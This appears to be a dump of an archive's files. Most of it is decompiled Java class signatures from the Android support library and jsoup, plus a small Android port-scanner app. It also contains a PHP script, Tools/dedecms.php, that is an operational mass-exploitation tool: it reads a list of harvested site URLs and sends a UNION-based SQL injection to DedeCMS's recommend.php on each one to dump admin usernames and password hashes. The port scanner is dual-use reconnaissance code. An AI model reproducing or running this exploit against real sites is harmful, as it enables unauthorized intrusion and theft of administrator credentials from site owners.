    public final Object put(Object, Object);
    public void trimToSize(int);
    public final Object remove(Object);
    protected void entryRemoved(boolean, Object, Object, Object);
    protected Object create(Object);
    private int safeSizeOf(Object, Object);
    protected int sizeOf(Object, Object);
    public final void evictAll();
    public final synchronized int size();
    public final synchronized int maxSize();
    public final synchronized int hitCount();
    public final synchronized int missCount();
    public final synchronized int createCount();
    public final synchronized int putCount();
    public final synchronized int evictionCount();
    public final synchronized java.util.Map snapshot();
    public final synchronized String toString();
}










android/support/v4/util/LogWriter.class


package android.support.v4.util;
public synchronized class LogWriter extends java.io.Writer {
    private final String mTag;
    private StringBuilder mBuilder;
    public void LogWriter(String);
    public void close();
    public void flush();
    public void write(char[], int, int);
    private void flushBuilder();
}










android/support/v4/util/SparseArrayCompat.class


package android.support.v4.util;
public synchronized class SparseArrayCompat {
    private static final Object DELETED;
    private boolean mGarbage;
    private int[] mKeys;
    private Object[] mValues;
    private int mSize;
    public void SparseArrayCompat();
    public void SparseArrayCompat(int);
    public Object get(int);
    public Object get(int, Object);
    public void delete(int);
    public void remove(int);
    public void removeAt(int);
    public void removeAtRange(int, int);
    private void gc();
    public void put(int, Object);
    public int size();
    public int keyAt(int);
    public Object valueAt(int);
    public void setValueAt(int, Object);
    public int indexOfKey(int);
    public int indexOfValue(Object);
    public void clear();
    public void append(int, Object);
    private static int binarySearch(int[], int, int, int);
    static int idealByteArraySize(int);
    static int idealIntArraySize(int);
    static void <clinit>();
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl.class


package android.support.v4.accessibilityservice;
abstract interface AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl {
    public abstract String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public abstract String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl implements AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl {
    void AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl();
    public boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat.class


package android.support.v4.accessibilityservice;
public synchronized class AccessibilityServiceInfoCompat {
    private static final AccessibilityServiceInfoCompat$AccessibilityServiceInfoVersionImpl IMPL;
    public static final int FEEDBACK_ALL_MASK = -1;
    private void AccessibilityServiceInfoCompat();
    public static String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public static android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
    public static boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public static String feedbackTypeToString(int);
    public static String flagToString(int);
    static void <clinit>();
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompatIcs.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompatIcs {
    void AccessibilityServiceInfoCompatIcs();
    public static boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public static android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public static String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
}










android/support/v4/accessibilityservice/AccessibilityServiceInfoCompat$AccessibilityServiceInfoIcsImpl.class


package android.support.v4.accessibilityservice;
synchronized class AccessibilityServiceInfoCompat$AccessibilityServiceInfoIcsImpl extends AccessibilityServiceInfoCompat$AccessibilityServiceInfoStubImpl {
    void AccessibilityServiceInfoCompat$AccessibilityServiceInfoIcsImpl();
    public boolean getCanRetrieveWindowContent(android.accessibilityservice.AccessibilityServiceInfo);
    public String getDescription(android.accessibilityservice.AccessibilityServiceInfo);
    public String getId(android.accessibilityservice.AccessibilityServiceInfo);
    public android.content.pm.ResolveInfo getResolveInfo(android.accessibilityservice.AccessibilityServiceInfo);
    public String getSettingsActivityName(android.accessibilityservice.AccessibilityServiceInfo);
}
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portscan/gen/com/example/portscan/BuildConfig.java

/** Automatically generated file. DO NOT MODIFY */


package com.example.portscan;





public final class BuildConfig {


    public final static boolean DEBUG = true;


}







portscan/src/com/example/portscan/MainActivity.java


portscan/src/com/example/portscan/MainActivity.java

package com.example.portscan;





import java.net.InetSocketAddress;


import java.net.Socket;


import java.net.SocketAddress;





import android.app.Activity;


import android.os.Bundle;


import android.os.Handler;


import android.os.Message;


import android.util.Log;


import android.view.Menu;


import android.view.View;


import android.view.View.OnClickListener;


import android.widget.Button;


import android.widget.EditText;


import android.widget.TextView;


import android.widget.Toast;





public class MainActivity extends Activity {


     private EditText Port1;


     private EditText Port2;


     private EditText ipText;


     private Button Scan;  


     private TextView t;


     //private TextView show;


    @Override


    protected void onCreate(Bundle savedInstanceState) {


        super.onCreate(savedInstanceState);


        setContentView(R.layout.activity_main);


        Port1 = (EditText) findViewById(R.id.port1);  


        Port2 = (EditText) findViewById(R.id.port2);


        Scan = (Button)findViewById(R.id.button1);  


        ipText=(EditText) findViewById(R.id.ip);


        t=(TextView) findViewById(R.id.tet);


        Scan.setOnClickListener(new OnClickListener() {  


              


            @Override  


            public void onClick(View arg0) {  


                Thread thread = new Thread(new ScanPorts(Integer.parseInt(Port1.getText().toString()),


                        Integer.parseInt(Port2.getText().toString())));  


                thread.start();  


               Toast.makeText(MainActivity.this, "开始扫描", Toast.LENGTH_LONG).show(); 


            }  


        });  


    }


     private Handler handler = new Handler(){  


          


            @Override  


            public void handleMessage(Message msg) {  


                //将已经打开的端口号显示在TextView控件上  


                t.append(String.valueOf(msg.what) + ":open\n");  


                super.handleMessage(msg);  


            }  


              


        };  


        class ScanPorts extends Thread{  


            private int minPort, maxPort;     


            public ScanPorts(int minPort, int maxPort) {  


                this.minPort = minPort;  


                this.maxPort = maxPort;  


            }  


      


            @Override  


            public void run() {  


                for(int i=minPort; i<=maxPort; i++){  


                    try{  


                        Socket socket = new Socket();  


                        SocketAddress socketAddress = new InetSocketAddress(ipText.getText().toString(), i);  


                        socket.connect(socketAddress,50);  


                        handler.sendEmptyMessage(i);  


                        socket.close();  


                    }catch(Exception e){  


                        Log.e("a", e.getMessage());  


                    }  


                }  


                handler.post(new Runnable() {                  


                    @Override  


                    public void run() {  


                        Toast.makeText(MainActivity.this, "扫描完成", Toast.LENGTH_LONG).show();  


                    }  


                });  


                super.run();  


            }  


              


        }  


    @Override


    public boolean onCreateOptionsMenu(Menu menu) {


        // Inflate the menu; this adds items to the action bar if it is present.


        getMenuInflater().inflate(R.menu.main, menu);


        return true;


    }





}
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portscan/gen/com/example/portscan/R.java

/* AUTO-GENERATED FILE.  DO NOT MODIFY.


 *


 * This class was automatically generated by the


 * aapt tool from the resource data it found.  It


 * should not be modified by hand.


 */





package com.example.portscan;





public final class R {


    public static final class attr {


    }


    public static final class dimen {


        /**  Default screen margins, per the Android Design guidelines. 





         Customize dimensions originally defined in res/values/dimens.xml (such as


         screen margins) for sw720dp devices (e.g. 10" tablets) in landscape here.


    


         */


        public static final int activity_horizontal_margin=0x7f040000;


        public static final int activity_vertical_margin=0x7f040001;


    }


    public static final class drawable {


        public static final int ic_launcher=0x7f020000;


        public static final int psb=0x7f020001;


    }


    public static final class id {


        public static final int action_settings=0x7f080009;


        public static final int button1=0x7f080006;


        public static final int ip=0x7f080000;


        public static final int port1=0x7f080001;


        public static final int port2=0x7f080004;


        public static final int show=0x7f080008;


        public static final int tab=0x7f080002;


        public static final int tab1=0x7f080003;


        public static final int tab2=0x7f080005;


        public static final int tet=0x7f080007;


    }


    public static final class layout {


        public static final int activity_main=0x7f030000;


    }


    public static final class menu {


        public static final int main=0x7f070000;


    }


    public static final class string {


        public static final int action_settings=0x7f050001;


        public static final int app_name=0x7f050000;


        public static final int hello_world=0x7f050002;


    }


    public static final class style {


        /** 


        Base application theme, dependent on API level. This theme is replaced


        by AppBaseTheme from res/values-vXX/styles.xml on newer devices.


    





            Theme customizations available in newer API levels can go in


            res/values-vXX/styles.xml, while customizations related to


            backward-compatibility can go here.


        





        Base application theme for API 11+. This theme completely replaces


        AppBaseTheme from res/values/styles.xml on API 11+ devices.


    


 API 11 theme customizations can go here. 





        Base application theme for API 14+. This theme completely replaces


        AppBaseTheme from BOTH res/values/styles.xml and


        res/values-v11/styles.xml on API 14+ devices.


    


 API 14 theme customizations can go here. 


         */


        public static final int AppBaseTheme=0x7f060000;


        /**  Application theme. 


 All customizations that are NOT specific to a particular API-level can go here. 


         */


        public static final int AppTheme=0x7f060001;


    }


}







portscan/bin/classes/com/example/portscan/BuildConfig.class

package com.example.portscan;
public final synchronized class BuildConfig {
    public static final boolean DEBUG = 1;
    public void BuildConfig();
}







portscan/bin/classes/com/example/portscan/MainActivity$1.class

package com.example.portscan;
synchronized class MainActivity$1 extends android.os.Handler {
    void MainActivity$1(MainActivity);
    public void handleMessage(android.os.Message);
}







portscan/bin/classes/com/example/portscan/MainActivity$2.class

package com.example.portscan;
synchronized class MainActivity$2 implements android.view.View$OnClickListener {
    void MainActivity$2(MainActivity);
    public void onClick(android.view.View);
}







portscan/bin/classes/com/example/portscan/MainActivity$ScanPorts$1.class

package com.example.portscan;
synchronized class MainActivity$ScanPorts$1 implements Runnable {
    void MainActivity$ScanPorts$1(MainActivity$ScanPorts);
    public void run();
}







portscan/bin/classes/com/example/portscan/MainActivity$ScanPorts.class

package com.example.portscan;
synchronized class MainActivity$ScanPorts extends Thread {
    private int minPort;
    private int maxPort;
    public void MainActivity$ScanPorts(MainActivity, int, int);
    public void run();
}







portscan/bin/classes/com/example/portscan/MainActivity.class

package com.example.portscan;
public synchronized class MainActivity extends android.app.Activity {
    private android.widget.EditText Port1;
    private android.widget.EditText Port2;
    private android.widget.EditText ipText;
    private android.widget.Button Scan;
    private android.widget.TextView t;
    private android.os.Handler handler;
    public void MainActivity();
    protected void onCreate(android.os.Bundle);
    public boolean onCreateOptionsMenu(android.view.Menu);
}







portscan/bin/classes/com/example/portscan/R$attr.class

package com.example.portscan;
public final synchronized class R$attr {
    public void R$attr();
}







portscan/bin/classes/com/example/portscan/R$dimen.class

package com.example.portscan;
public final synchronized class R$dimen {
    public static final int activity_horizontal_margin = 2130968576;
    public static final int activity_vertical_margin = 2130968577;
    public void R$dimen();
}







portscan/bin/classes/com/example/portscan/R$drawable.class

package com.example.portscan;
public final synchronized class R$drawable {
    public static final int ic_launcher = 2130837504;
    public static final int psb = 2130837505;
    public void R$drawable();
}







portscan/bin/classes/com/example/portscan/R$id.class

package com.example.portscan;
public final synchronized class R$id {
    public static final int action_settings = 2131230729;
    public static final int button1 = 2131230726;
    public static final int ip = 2131230720;
    public static final int port1 = 2131230721;
    public static final int port2 = 2131230724;
    public static final int show = 2131230728;
    public static final int tab = 2131230722;
    public static final int tab1 = 2131230723;
    public static final int tab2 = 2131230725;
    public static final int tet = 2131230727;
    public void R$id();
}







portscan/bin/classes/com/example/portscan/R$layout.class

package com.example.portscan;
public final synchronized class R$layout {
    public static final int activity_main = 2130903040;
    public void R$layout();
}







portscan/bin/classes/com/example/portscan/R$menu.class

package com.example.portscan;
public final synchronized class R$menu {
    public static final int main = 2131165184;
    public void R$menu();
}







portscan/bin/classes/com/example/portscan/R$string.class

package com.example.portscan;
public final synchronized class R$string {
    public static final int action_settings = 2131034113;
    public static final int app_name = 2131034112;
    public static final int hello_world = 2131034114;
    public void R$string();
}







portscan/bin/classes/com/example/portscan/R$style.class

package com.example.portscan;
public final synchronized class R$style {
    public static final int AppBaseTheme = 2131099648;
    public static final int AppTheme = 2131099649;
    public void R$style();
}







portscan/bin/classes/com/example/portscan/R.class

package com.example.portscan;
public final synchronized class R {
    public void R();
}
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portscan/res/values/dimens.xml
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portscan/res/values-sw720dp-land/dimens.xml
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portscan/res/values/strings.xml

 

     portscan
     Settings
     Hello world!
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portscan/res/values-v11/styles.xml

 

    
     
        
    








portscan/res/values-v14/styles.xml

 

    
     
        
    








portscan/proguard-project.txt

# To enable ProGuard in your project, edit project.properties
# to define the proguard.config property as described in that file.
#
# Add project specific ProGuard rules here.
# By default, the flags in this file are appended to flags specified
# in ${sdk.dir}/tools/proguard/proguard-android.txt
# You can edit the include path and order by changing the ProGuard
# include property in project.properties.
#
# For more details, see
#   http://developer.android.com/guide/developing/tools/proguard.html

# Add any project specific keep options here:

# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
#   public *;
#}
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res/drawable-hdpi/ic_launcher.png








res/drawable-mdpi/ic_launcher.png
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classes.dex








META-INF/MANIFEST.MF


Manifest-Version: 1.0
Created-By: 1.0 (Android)

Name: res/drawable-xhdpi/ic_launcher.png
SHA1-Digest: AfPh3OJoypH966MludSW6f1RHg4=

Name: res/menu/main.xml
SHA1-Digest: TtvjsrnXITAxD7UQi4NAm9Fxsyg=

Name: AndroidManifest.xml
SHA1-Digest: 1SEp8DuzXjWgfKloLHrluxgmpkc=

Name: res/drawable-mdpi/ic_launcher.png
SHA1-Digest: RRxOSvpmhVfCwiprVV/wZlaqQpw=

Name: res/drawable-hdpi/ic_launcher.png
SHA1-Digest: Nq8q3HeTluE5JNCBpVvNy3BXtJI=

Name: res/layout/activity_main.xml
SHA1-Digest: +P6JBozRbmbZOPj9Y4HKXBRj65c=

Name: resources.arsc
SHA1-Digest: qA5cmCw7rAYmHoRq9GEaZvOi4bI=

Name: classes.dex
SHA1-Digest: 5Teue5/vytGyLz6b76IOODJGJgo=

Name: res/drawable-xxhdpi/ic_launcher.png
SHA1-Digest: GVIfdEOBv4gEny2T1jDhGGsZOBo=

Name: res/drawable-mdpi/psb.jpg
SHA1-Digest: zFMQl76g+s0UREbqn9VRc9SRh2c=











META-INF/CERT.SF


Signature-Version: 1.0
Created-By: 1.0 (Android)
SHA1-Digest-Manifest: 0WV2RDo4ElPhr74c3cQEjXMnANI=

Name: res/menu/main.xml
SHA1-Digest: 3cnXNcdpyevpzgNNAV9KMynLD5w=

Name: res/drawable-xhdpi/ic_launcher.png
SHA1-Digest: cIga++hy5wqjHl9IHSfbg8tqCug=

Name: AndroidManifest.xml
SHA1-Digest: MDW7nxjuxqRkwQ4VaIZm8Z/Zh8E=

Name: res/drawable-mdpi/ic_launcher.png
SHA1-Digest: VY7kOF8E3rn8EUTvQC/DcBEN6kQ=

Name: res/drawable-hdpi/ic_launcher.png
SHA1-Digest: stS7pUucSY0GgAVoESyO3Y7SanU=

Name: res/layout/activity_main.xml
SHA1-Digest: nAa2tCuC/qAz1nQ23Xa/v9k6ad4=

Name: resources.arsc
SHA1-Digest: cm3sf5t6xkEpwjyL1z7W27hWuzw=

Name: classes.dex
SHA1-Digest: IswCB3LA2D+aP4F9nEmAcVQQOes=

Name: res/drawable-mdpi/psb.jpg
SHA1-Digest: cUC44RgCj0NDxDVmO3DzklG3vkE=

Name: res/drawable-xxhdpi/ic_launcher.png
SHA1-Digest: KKqaLh/DVvFp+v1KoaDw7xETvrI=











META-INF/CERT.RSA
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portscan/bin/jarlist.cache

# cache for current jar dependency. DO NOT EDIT.
# format is <lastModified> <length> <SHA-1> <path>
# Encoding is UTF-8
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portscan/.settings/org.eclipse.jdt.core.prefs

eclipse.preferences.version=1
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6
org.eclipse.jdt.core.compiler.compliance=1.6
org.eclipse.jdt.core.compiler.source=1.6







portscan/.project

 
	 portscan
	 
	 
	
	 
		 
			 com.android.ide.eclipse.adt.ResourceManagerBuilder
			 
			
		
		 
			 com.android.ide.eclipse.adt.PreCompilerBuilder
			 
			
		
		 
			 org.eclipse.jdt.core.javabuilder
			 
			
		
		 
			 com.android.ide.eclipse.adt.ApkBuilder
			 
			
		
	
	 
		 com.android.ide.eclipse.adt.AndroidNature
		 org.eclipse.jdt.core.javanature
	







portscan/project.properties

# This file is automatically generated by Android Tools.
# Do not modify this file -- YOUR CHANGES WILL BE ERASED!
#
# This file must be checked in Version Control Systems.
#
# To customize properties used by the Ant build system edit
# "ant.properties", and override values to adapt the script to your
# project structure.
#
# To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home):
#proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt

# Project target.
target=android-17








Tools/DedeCms recommend.php注入利用工具.jar




META-INF/MANIFEST.MF


Manifest-Version: 1.0
Main-Class: org.javaweb.dede.ui.MainFrame











.project


 
	 DedeCms
	 
	 
	
	 
		 
			 org.eclipse.jdt.core.javabuilder
			 
			
		
	
	 
		 org.eclipse.jdt.core.javanature
	










.fatjar


#Fat Jar Configuration File
#Fri Feb 28 01:30:09 CST 2014
onejar.license.required=true
manifest.classpath=
manifest.removesigners=true
onejar.checkbox=false
jarname=DedeCms_fat.jar
manifest.mergeall=true
manifest.mainclass=
manifest.file=<createnew>
jarname.isextern=false
onejar.expand=
excludes=
includes=










.DS_Store








.classpath


 
	 
	 
	 










org/javaweb/dede/ui/MainFrame$1.class


package org.javaweb.dede.ui;
synchronized class MainFrame$1 implements java.awt.event.ActionListener {
    void MainFrame$1(MainFrame);
    public void actionPerformed(java.awt.event.ActionEvent);
}










org/javaweb/dede/ui/MainFrame$2.class


package org.javaweb.dede.ui;
synchronized class MainFrame$2 implements Runnable {
    void MainFrame$2();
    public void run();
}










org/javaweb/dede/ui/MainFrame.class


package org.javaweb.dede.ui;
public synchronized class MainFrame extends javax.swing.JFrame {
    private static final long serialVersionUID = 1;
    private javax.swing.JButton jButton1;
    private javax.swing.JLabel jLabel1;
    private javax.swing.JPanel jPanel1;
    private javax.swing.JScrollPane jScrollPane1;
    private javax.swing.JTextArea jTextArea1;
    private javax.swing.JTextField jTextField1;
    public void MainFrame();
    public String request(String);
    private void initComponents();
    private void jButton1ActionPerformed(java.awt.event.ActionEvent);
    public static void main(String[]);
}











Tools/dedecms.php

<?php

print_r(
"
+------------------------------------+
DEDECMS批量爆菊利用工具
By :Sunshie
Usage: $argv[0] Filename
Example: php.exe $argv[0] url.txt
url.txt是你采集的网址文件！
+------------------------------------+
\r\n\r\n\r\n"
);
$filename=$argv[1];
if(!file_exists($filename)) echo "o(╯□╰)o你妹的 你采集的文件呢？\r\n";
$conts = file_get_contents($filename);
$arrConts = explode("\n",$conts);
$arrConts=str_replace(" ","",$arrConts);
$arrConts=str_replace("\r","",$arrConts);
$arrConts=str_replace("\n","",$arrConts);
//print_r($arrConts );
for($i=0;isset($arrConts[$i]);$i++){
echo fuckdede($arrConts[$i]);
}

function fuckdede($sb){
$sb=str_replace("http://","",$sb);
$expp="http://".$sb."/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%23@__admin`%23";
$exp=@file_get_contents($expp);
eregi("_<abc>(.*)</abc>_", $exp, $arr);
$exploit=str_replace("_<abc>", "==fuck", $arr[0]);
$exploit=str_replace("</abc>_", "fuck==", $exploit);
return "网址:".$sb."注入结果 :".$exploit."\r\n--------------------------\r\n";
}
?>







crack/jsoup-1.7.3.jar




META-INF/MANIFEST.MF


Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Created-By: 1.6.0_65 (Apple Inc.)
Built-By: jhy
Build-Jdk: 1.6.0_65
Export-Package: org.jsoup;uses:="org.jsoup.parser,org.jsoup.nodes,org.
 jsoup.helper,org.jsoup.safety";version="1.7.3",org.jsoup.examples;use
 s:="org.jsoup.select,org.jsoup.nodes,org.jsoup.helper,org.jsoup";vers
 ion="1.7.3",org.jsoup.helper;uses:="org.jsoup.parser,org.jsoup.select
 ,org.jsoup.nodes,org.jsoup";version="1.7.3",org.jsoup.nodes;uses:="or
 g.jsoup.helper,org.jsoup.parser,org.jsoup.select,org.jsoup";version="
 1.7.3",org.jsoup.parser;uses:="org.jsoup.helper,org.jsoup.select,org.
 jsoup.nodes";version="1.7.3",org.jsoup.safety;uses:="org.jsoup.select
 ,org.jsoup.nodes,org.jsoup.parser,org.jsoup.helper";version="1.7.3",o
 rg.jsoup.select;uses:="org.jsoup.nodes,org.jsoup.helper,org.jsoup.par
 ser";version="1.7.3"
Tool: Bnd-0.0.357
Bundle-Name: jsoup
Bundle-Vendor: Jonathan Hedley
Bundle-Version: 1.7.3
Bnd-LastModified: 1384146244030
Bundle-ManifestVersion: 2
Bundle-License: http://jsoup.com/license
Bundle-Description: jsoup HTML parser
Import-Package: org.jsoup;version="1.7",org.jsoup.examples;version="1.
 7",org.jsoup.helper;version="1.7",org.jsoup.nodes;version="1.7",org.j
 soup.parser;version="1.7",org.jsoup.safety;version="1.7",org.jsoup.se
 lect;version="1.7"
Bundle-SymbolicName: org.jsoup
Bundle-DocURL: http://jsoup.org/











org/jsoup/Connection$Base.class


package org.jsoup;
public abstract interface Connection$Base {
    public abstract java.net.URL url();
    public abstract Connection$Base url(java.net.URL);
    public abstract Connection$Method method();
    public abstract Connection$Base method(Connection$Method);
    public abstract String header(String);
    public abstract Connection$Base header(String, String);
    public abstract boolean hasHeader(String);
    public abstract Connection$Base removeHeader(String);
    public abstract java.util.Map headers();
    public abstract String cookie(String);
    public abstract Connection$Base cookie(String, String);
    public abstract boolean hasCookie(String);
    public abstract Connection$Base removeCookie(String);
    public abstract java.util.Map cookies();
}










org/jsoup/Connection$KeyVal.class


package org.jsoup;
public abstract interface Connection$KeyVal {
    public abstract Connection$KeyVal key(String);
    public abstract String key();
    public abstract Connection$KeyVal value(String);
    public abstract String value();
}










org/jsoup/Connection$Method.class


package org.jsoup;
public final synchronized enum Connection$Method {
    public static final Connection$Method GET;
    public static final Connection$Method POST;
    public static Connection$Method[] values();
    public static Connection$Method valueOf(String);
    private void Connection$Method(String, int);
    static void <clinit>();
}










org/jsoup/Connection$Request.class


package org.jsoup;
public abstract interface Connection$Request extends Connection$Base {
    public abstract int timeout();
    public abstract Connection$Request timeout(int);
    public abstract int maxBodySize();
    public abstract Connection$Request maxBodySize(int);
    public abstract boolean followRedirects();
    public abstract Connection$Request followRedirects(boolean);
    public abstract boolean ignoreHttpErrors();
    public abstract Connection$Request ignoreHttpErrors(boolean);
    public abstract boolean ignoreContentType();
    public abstract Connection$Request ignoreContentType(boolean);
    public abstract Connection$Request data(Connection$KeyVal);
    public abstract java.util.Collection data();
    public abstract Connection$Request parser(parser.Parser);
    public abstract parser.Parser parser();
}










org/jsoup/Connection$Response.class


package org.jsoup;
public abstract interface Connection$Response extends Connection$Base {
    public abstract int statusCode();
    public abstract String statusMessage();
    public abstract String charset();
    public abstract String contentType();
    public abstract nodes.Document parse() throws java.io.IOException;
    public abstract String body();
    public abstract byte[] bodyAsBytes();
}










org/jsoup/Connection.class


package org.jsoup;
public abstract interface Connection {
    public abstract Connection url(java.net.URL);
    public abstract Connection url(String);
    public abstract Connection userAgent(String);
    public abstract Connection timeout(int);
    public abstract Connection maxBodySize(int);
    public abstract Connection referrer(String);
    public abstract Connection followRedirects(boolean);
    public abstract Connection method(Connection$Method);
    public abstract Connection ignoreHttpErrors(boolean);
    public abstract Connection ignoreContentType(boolean);
    public abstract Connection data(String, String);
    public abstract Connection data(java.util.Collection);
    public abstract Connection data(java.util.Map);
    public abstract transient Connection data(String[]);
    public abstract Connection header(String, String);
    public abstract Connection cookie(String, String);
    public abstract Connection cookies(java.util.Map);
    public abstract Connection parser(parser.Parser);
    public abstract nodes.Document get() throws java.io.IOException;
    public abstract nodes.Document post() throws java.io.IOException;
    public abstract Connection$Response execute() throws java.io.IOException;
    public abstract Connection$Request request();
    public abstract Connection request(Connection$Request);
    public abstract Connection$Response response();
    public abstract Connection response(Connection$Response);
}










org/jsoup/examples/HtmlToPlainText$1.class


package org.jsoup.examples;
synchronized class HtmlToPlainText$1 {
}










org/jsoup/examples/HtmlToPlainText$FormattingVisitor.class


package org.jsoup.examples;
synchronized class HtmlToPlainText$FormattingVisitor implements org.jsoup.select.NodeVisitor {
    private static final int maxWidth = 80;
    private int width;
    private StringBuilder accum;
    private void HtmlToPlainText$FormattingVisitor(HtmlToPlainText);
    public void head(org.jsoup.nodes.Node, int);
    public void tail(org.jsoup.nodes.Node, int);
    private void append(String);
    public String toString();
}










org/jsoup/examples/HtmlToPlainText.class


package org.jsoup.examples;
public synchronized class HtmlToPlainText {
    public void HtmlToPlainText();
    public static transient void main(String[]) throws java.io.IOException;
    public String getPlainText(org.jsoup.nodes.Element);
}










org/jsoup/examples/ListLinks.class


package org.jsoup.examples;
public synchronized class ListLinks {
    public void ListLinks();
    public static void main(String[]) throws java.io.IOException;
    private static transient void print(String, Object[]);
    private static String trim(String, int);
}










org/jsoup/helper/DataUtil.class


package org.jsoup.helper;
public synchronized class DataUtil {
    private static final java.util.regex.Pattern charsetPattern;
    static final String defaultCharset = UTF-8;
    private static final int bufferSize = 131072;
    private void DataUtil();
    public static org.jsoup.nodes.Document load(java.io.File, String, String) throws java.io.IOException;
    public static org.jsoup.nodes.Document load(java.io.InputStream, String, String) throws java.io.IOException;
    public static org.jsoup.nodes.Document load(java.io.InputStream, String, String, org.jsoup.parser.Parser) throws java.io.IOException;
    static org.jsoup.nodes.Document parseByteData(java.nio.ByteBuffer, String, String, org.jsoup.parser.Parser);
    static java.nio.ByteBuffer readToByteBuffer(java.io.InputStream, int) throws java.io.IOException;
    static java.nio.ByteBuffer readToByteBuffer(java.io.InputStream) throws java.io.IOException;
    static String getCharsetFromContentType(String);
    static void <clinit>();
}










org/jsoup/helper/DescendableLinkedList$1.class


package org.jsoup.helper;
synchronized class DescendableLinkedList$1 {
}










org/jsoup/helper/DescendableLinkedList$DescendingIterator.class


package org.jsoup.helper;
synchronized class DescendableLinkedList$DescendingIterator implements java.util.Iterator {
    private final java.util.ListIterator iter;
    private void DescendableLinkedList$DescendingIterator(DescendableLinkedList, int);
    public boolean hasNext();
    public Object next();
    public void remove();
}










org/jsoup/helper/DescendableLinkedList.class


package org.jsoup.helper;
public synchronized class DescendableLinkedList extends java.util.LinkedList {
    public void DescendableLinkedList();
    public void push(Object);
    public Object peekLast();
    public Object pollLast();
    public java.util.Iterator descendingIterator();
}










org/jsoup/helper/HttpConnection$1.class


package org.jsoup.helper;
synchronized class HttpConnection$1 {
}










org/jsoup/helper/HttpConnection$Base.class


package org.jsoup.helper;
abstract synchronized class HttpConnection$Base implements org.jsoup.Connection$Base {
    java.net.URL url;
    org.jsoup.Connection$Method method;
    java.util.Map headers;
    java.util.Map cookies;
    private void HttpConnection$Base();
    public java.net.URL url();
    public org.jsoup.Connection$Base url(java.net.URL);
    public org.jsoup.Connection$Method method();
    public org.jsoup.Connection$Base method(org.jsoup.Connection$Method);
    public String header(String);
    public org.jsoup.Connection$Base header(String, String);
    public boolean hasHeader(String);
    public org.jsoup.Connection$Base removeHeader(String);
    public java.util.Map headers();
    private String getHeaderCaseInsensitive(String);
    private java.util.Map$Entry scanHeaders(String);
    public String cookie(String);
    public org.jsoup.Connection$Base cookie(String, String);
    public boolean hasCookie(String);
    public org.jsoup.Connection$Base removeCookie(String);
    public java.util.Map cookies();
}










org/jsoup/helper/HttpConnection$KeyVal.class


package org.jsoup.helper;
public synchronized class HttpConnection$KeyVal implements org.jsoup.Connection$KeyVal {
    private String key;
    private String value;
    public static HttpConnection$KeyVal create(String, String);
    private void HttpConnection$KeyVal(String, String);
    public HttpConnection$KeyVal key(String);
    public String key();
    public HttpConnection$KeyVal value(String);
    public String value();
    public String toString();
}










org/jsoup/helper/HttpConnection$Request.class


package org.jsoup.helper;
public synchronized class HttpConnection$Request extends HttpConnection$Base implements org.jsoup.Connection$Request {
    private int timeoutMilliseconds;
    private int maxBodySizeBytes;
    private boolean followRedirects;
    private java.util.Collection data;
    private boolean ignoreHttpErrors;
    private boolean ignoreContentType;
    private org.jsoup.parser.Parser parser;
    private void HttpConnection$Request();
    public int timeout();
    public HttpConnection$Request timeout(int);
    public int maxBodySize();
    public org.jsoup.Connection$Request maxBodySize(int);
    public boolean followRedirects();
    public org.jsoup.Connection$Request followRedirects(boolean);
    public boolean ignoreHttpErrors();
    public org.jsoup.Connection$Request ignoreHttpErrors(boolean);
    public boolean ignoreContentType();
    public org.jsoup.Connection$Request ignoreContentType(boolean);
    public HttpConnection$Request data(org.jsoup.Connection$KeyVal);
    public java.util.Collection data();
    public HttpConnection$Request parser(org.jsoup.parser.Parser);
    public org.jsoup.parser.Parser parser();
}










org/jsoup/helper/HttpConnection$Response.class


package org.jsoup.helper;
public synchronized class HttpConnection$Response extends HttpConnection$Base implements org.jsoup.Connection$Response {
    private static final int MAX_REDIRECTS = 20;
    private int statusCode;
    private String statusMessage;
    private java.nio.ByteBuffer byteData;
